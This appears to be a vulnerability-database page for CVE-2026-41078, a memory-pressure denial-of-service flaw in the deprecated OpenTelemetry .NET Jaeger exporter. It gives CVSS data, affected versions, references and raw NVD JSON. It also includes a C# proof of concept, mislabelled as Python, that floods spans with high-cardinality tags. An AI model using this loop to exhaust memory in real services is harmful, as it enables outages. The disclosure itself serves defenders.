CVE-2026-41078

Description

OpenTelemetry dotnet is a dotnet telemetry framework. In 1.6.0-rc.1 and earlier, OpenTelemetry.Exporter.Jaeger may allow sustained memory pressure when the internal pooled-list sizing grows based on a large observed span/tag set and that enlarged size is reused for subsequent allocations. Under high-cardinality or attacker-influenced telemetry input, this can increase memory consumption and potentially cause denial of service. There is no plan to fix this issue as OpenTelemetry.Exporter.Jaeger was deprecated in 2023.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:opentelemetry:opentelemetry:*:*:*:*:*:.net:*:* - VULNERABLE

cpe:2.3:a:opentelemetry:opentelemetry:1.6.0:alpha1:*:*:*:.net:*:* - VULNERABLE

cpe:2.3:a:opentelemetry:opentelemetry:1.6.0:beta1:*:*:*:.net:*:* - VULNERABLE

cpe:2.3:a:opentelemetry:opentelemetry:1.6.0:beta2:*:*:*:.net:*:* - VULNERABLE

cpe:2.3:a:opentelemetry:opentelemetry:1.6.0:beta3:*:*:*:.net:*:* - VULNERABLE

OpenTelemetry dotnet <= 1.6.0-rc.1 (OpenTelemetry.Exporter.Jaeger)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

using OpenTelemetry;
using OpenTelemetry.Trace;
using System;
using System.Threading.Tasks;

namespace PoC_CVE_2026_41078
{
    class Program
    {
        static async Task Main(string[] args)
        {
            // Initialize TracerProvider with Jaeger Exporter (Vulnerable version <= 1.6.0-rc.1)
            using var tracerProvider = Sdk.CreateTracerProviderBuilder()
                .AddSource("PoC-Source")
                .AddJaegerExporter() // The vulnerable component
                .Build();

            var tracer = TracerProvider.Default.GetTracer("PoC-Source");

            Console.WriteLine("Starting attack simulation...");

            // Attack Vector: High cardinality tags to force internal pool growth
            for (int i = 0; i < 20000; i++)
            {
                using var span = tracer.StartActiveSpan("MemoryPressureSpan");
                // Add unique tags to force the internal pooled list to grow
                span.SetAttribute("unique_key_" + i, new string('A', 1024));
                span.End();

                if (i % 1000 == 0)
                {
                    Console.WriteLine($"Sent {i} spans. Check memory usage.");
                    // Allow some time for memory pressure to build
                    await Task.Delay(100);
                }
            }

            Console.WriteLine("Attack finished. Memory usage should remain high due to pool reuse.");
        }
    }
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41078
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41078
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41078/
[4] VulDB https://vuldb.com/cve/CVE-2026-41078
[5] https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-38h3-2333-qx47

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41078", "sourceIdentifier": "[email protected]", "published": "2026-04-23T19:17:28.950", "lastModified": "2026-04-28T19:24:14.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenTelemetry dotnet is a dotnet telemetry framework. In 1.6.0-rc.1 and earlier, OpenTelemetry.Exporter.Jaeger may allow sustained memory pressure when the internal pooled-list sizing grows based on a large observed span/tag set and that enlarged size is reused for subsequent allocations. Under high-cardinality or attacker-influenced telemetry input, this can increase memory consumption and potentially cause denial of service. There is no plan to fix this issue as OpenTelemetry.Exporter.Jaeger was deprecated in 2023."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opentelemetry:opentelemetry:*:*:*:*:*:.net:*:*", "versionEndExcluding": "1.6.0", "matchCriteriaId": "56927593-8DEA-46DF-99FB-150F00796ED8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opentelemetry:opentelemetry:1.6.0:alpha1:*:*:*:.net:*:*", "matchCriteriaId": "13631A96-4D58-461F-9264-64DBD3BAF413"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opentelemetry:opentelemetry:1.6.0:beta1:*:*:*:.net:*:*", "matchCriteriaId": "7D986355-87A6-4E57-9459-12F757E5773A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opentelemetry:opentelemetry:1.6.0:beta2:*:*:*:.net:*:*", "matchCriteriaId": "48A81080-CF53-4EA9-A98B-55F7016D8D72"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opentelemetry:opentelemetry:1.6.0:beta3:*:*:*:.net:*:*", "matchCriteriaId": "624E213B-E94A-4A6E-AD8F-45F0007B6D5A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opentelemetry:opentelemetry:1.6.0:rc1:*:*:*:.net:*:*", "matchCriteriaId": "AD841242-43F8-4A7D-B9DC-9BFE0953C675"}]}]}], "references": [{"url": "https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-38h3-2333-qx47", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}